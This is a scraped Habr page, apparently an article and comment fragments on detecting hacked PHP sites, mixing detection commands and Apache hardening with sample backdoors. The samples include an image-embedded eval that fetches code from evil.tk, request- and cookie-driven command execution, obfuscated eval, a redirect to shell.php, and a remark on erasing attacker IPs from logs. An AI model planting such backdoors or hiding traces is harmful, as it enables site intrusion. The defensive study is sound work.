Хабр Курсы для всех
РЕКЛАМА
Практикум, Хекслет, SkyPro, авторские курсы — собрали всех и попросили скидки. Осталось выбрать!
Все эти скрипты загружены злоумышленником в директорию загрузки пользователя.
\.(png|gif|jpg)$ подпадёт, и будет на самом деле картинкой (открываться без ошибок функциями типа imagecreatefromgif), но в комментарии этой картинки будет текст наподобие <?php eval(file_get_contents("http://evil.tk/")); ?> и эта картинка будет выполнена сервером как скрипт php (ну чёрт с ним, с мусором до и после php-кода). А методом из статьи такую картинку не найти — там ищут только по файлам "*.php", а у нас "*.gif".Одно но: если файл имеет несколько точек в имени, то mod_mime считает, что это «несколько расширений», в этом случае для исполнения файла mod_php достаточно, чтобы любое из них совпало. А mime-тип, с которым вернёт файл Apache, потом определится из последнего «расширения».
array_filter array_map array_walk array_diff_uassoc array_udiff_assoc array_udiff_uassoc array_intersect_uassoc array_diff_ukey array_intersect_ukey array_reduce array_udiff uasort usort array_uintersect_assoc array_uintersect_uassoc array_uintersect array_walk_recursive
create_function
eval
assert
{$name}()
preg_replace(//e)unserialize_callback_func assert_callback output_handler
include($_REQUEST['foo']);
Согласитесь, никому бы в голову не пришло искать подобную конструкцию регулярками. В обычных проектах сотни вызовов функции include. А я в свою очередь смогу элементарно востановить доступ к сайту. А таких вариантов как этот тысячи.сторонний человек, которого попросили проверить/исправить сайтбесполезно действовать по инструкции, а надо начать мыслить как взломщик (как бы пафосно это не звучало).
Files can have more than one extension, and the order of the extensions is normally irrelevant. For example, if the file welcome.html.fr maps onto content type text/html and language French then the file welcome.fr.html will map onto exactly the same information. If more than one extension is given that maps onto the same type of meta-information, then the one to the right will be used, except for languages and content encodings. For example, if .gif maps to the MIME-type image/gif and .html maps to the MIME-type text/html, then the file welcome.gif.html will be associated with the MIME-type text/html.
Languages and content encodings are treated accumulative, because one can assign more than one language or encoding to a particular resource. For example, the file welcome.html.en.de will be delivered with Content-Language: en, de and Content-Type: text/html.
Care should be taken when a file with multiple extensions gets associated with both a MIME-type and a handler. This will usually result in the request being handled by the module associated with the handler. For example, if the .imap extension is mapped to the handler imap-file (from mod_imagemap) and the .html extension is mapped to the MIME-type text/html, then the file world.imap.html will be associated with both the imap-file handler and text/html MIME-type. When it is processed, the imap-file handler will be used, and so it will be treated as a mod_imagemap imagemap file.
<?php
header("X-Generator: PHP");
readfile("holes.jpg");
?>
<?php header("Content-Type: text/plain; charset=utf-8"); ?>Я скрипт! :)AddHandler application/x-httpd-php .php .php5 .phtmlAddType application/x-httpd-php .php .php5 .phtml— запретить php в директории можно не только htaccessом. Вообще-то сами разработчики Apache в документации (вы её не читали) рекомендуют отключать htaccess (через AllowOverride None) и всё прописывать в конфиге сервера — так всё работает быстрее, ведь не нужно каждый раз сканировать всё дерево ФС на предмет .htaccess и не нужно каждый раз этот файл парсить. Собственно, когда речь идёт о нагруженном сервере и оптимизации — это вообще первое дело. Загрузка htaccess в этом случае ничего не изменит.
#Разрешаем корневой htaccess
<Directory /home/public_html/>
AllowOverride All
</Directory>
#Запрещаем htacess-ы лежащие в каталогах глубже
<Directory /home/public_html/*>
AllowOverride None
</Directory>
— eval злоумышленники используют направо и налево, примерно раз в месяц в разных местах приходится вычищать подобную заразу, ни разу без eval не обошлось
И кто нибудь готов отказаться от .htaccess в пользу безопасности?
/etc/apache2/.но к примеру у меня есть лучшее решение чем запретить .htaccess вообще. Разрешить только корневой .htaccess:
/etc/apache/sites-available/. Имхо, .htacces удобен и, пожалуй, необходим лишь в случае шаред хостинга или в других случаях, когда нормально конфиг не записать.Отключение исполнения php в директориях, куда помещаются загружаемые файлы, проблему решает.
<FilesMatch ".+\.php$">
SetHandler application/x-httpd-php
</FilesMatch>
<FilesMatch ".+\.phps$">
SetHandler application/x-httpd-php-source
# Deny access to raw php sources by default
# To re-enable it's recommended to enable access to the files
# only in specific virtual host or directory
Order Deny,Allow
Deny from all
</FilesMatch>
# Deny access to files without filename (e.g. '.php')
<FilesMatch "^\.php$">
Order Deny,Allow
Deny from all
</FilesMatch>include 'data://text/plain;base64,PD9waHANCiRzdHIxID0gJ015IE5hbWUgSXMgOiAnOw0KJHN0cjIgPSAnRHZpZCEnOw0KZWNobyAkc3RyMS4kc3RyMjsNCj8';
Warning: include() [function.include]: data:// wrapper is disabled in the server configuration by allow_url_include=0 in /<тут был путь>/test-include-data-uri.php on line 3
Warning: include(data:text/plain;base64,ZWNobyAnSGVsbG8hJzs=) [function.include]: failed to open stream: no suitable wrapper could be found in /<тут был путь>/test-include-data-uri.php on line 3
Warning: include() [function.include]: Failed opening 'data:text/plain;base64,ZWNobyAnSGVsbG8hJzs=' for inclusion (include_path='.:/usr/share/php5:/usr/share/php') in /<тут был путь>/test-include-data-uri.php on line 3
6. disable_functions = eval, create_functionОдин момент:
eval — конструкция языка, а не функция, заблокировать её с помощью disable_functions не получится, нужно использовать suhosin.Давайте начнем с простого, скажем, вы не делали никаких изменений в php коде некоторое время, следующая команда ищет все php файлы в текущем дереве каталогов, которые изменились за последнюю неделю. Можете изменить опцию mtime по желанию, например mtime -14 в течении двух недель.
find . -type f -name '*.php' -mtime -7
AddHandler php-script .php .php5 .php4 .php3 .html .htm .phtm
Скрипт работает рекурсивно.
#!/bin/bash search_dir=$(pwd) writable_dirs=$(find $search_dir -type d -perm 0777) for dir in $writable_dirs do #echo $dir find $dir -type f -name '*.php' done
Чтобы пойти дальше я бы воспользовался этой объединенной командой, которая является более общей
find . -type f -name '*.php' | xargs grep -l "eval *(str_rot13 *(base64_decode *(" --color
Необходимо часто проверять журналы доступа на сервере
array_map($_POST['map'], $_POST['config']);
$x='ev'."al"; $y=array('x','z'); $z='base'."64_".'decode'; $n=$GLOBALS['y'][0]; $m=$GLOBALS['y'][1]; $GLOBALS['n']($GLOBALS['m']("fasdfasdf".'asdfasdfasd'."fasdfsadf'...));
, выдвинутые пробелами на 300-ю позицию.php выполняется из под апача или на правах www. Тогда мы просто чистим лог файлы от своих IP после всех действий.
1. sudo apt-get install clamav
2. freshclam
3. clamscan -ir /var/папка/с/сайтами
ALLOW FROM ALL
AddType "text/html" .php .cgi .pl .fcgi .fpl .phtml .shtml .php2 .php3 .php4 .php5 .asp .jsp
# Disable PHP.
RemoveType php
# Denied file execute
RemoveHandler .phtml .php .php3 .php4 .php5 .php6 .phps .cgi .exe .pl .asp .aspx .shtml .shtm .fcgi .fpl .jsp .htm .html .wml
AddType application/x-httpd-php-source .phtml .php .php3 .php4 .php5 .php6 .phps .cgi .exe .pl .asp .aspx .shtml .shtm .fcgi .fpl .jsp .htm .html .wml
Further note that httpd must look for .htaccess files in all higher-level directories, in order to have a full complement of directives that it must apply. (See section on how directives are applied.) Thus, if a file is requested out of a directory /www/htdocs/example, httpd must look for the following files:<?php
echo `$_COOKIES["ololo"]`; // или $_REQUEST
?>
<?php
include("/path/ololo.gif");
?>
<Files "pict.gif">
AddType application/x-httpd-php .gif
</Files>
AddType application/x-httpd-php .php .gif
header("Content-type: image/gif");
$image = imagecreatefromgif('ololo.gif');
imagegif($image);
imagedestroy($image);
<!--#exec cmd=$HTTP_COOKIE -->
RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} .*Opera*
RewriteRule ^index\.php$ path/shell.php
Большинство методов, предполагают, что злоумышленник загружает на север файлы
Как узнать, что ваш PHP сайт был взломан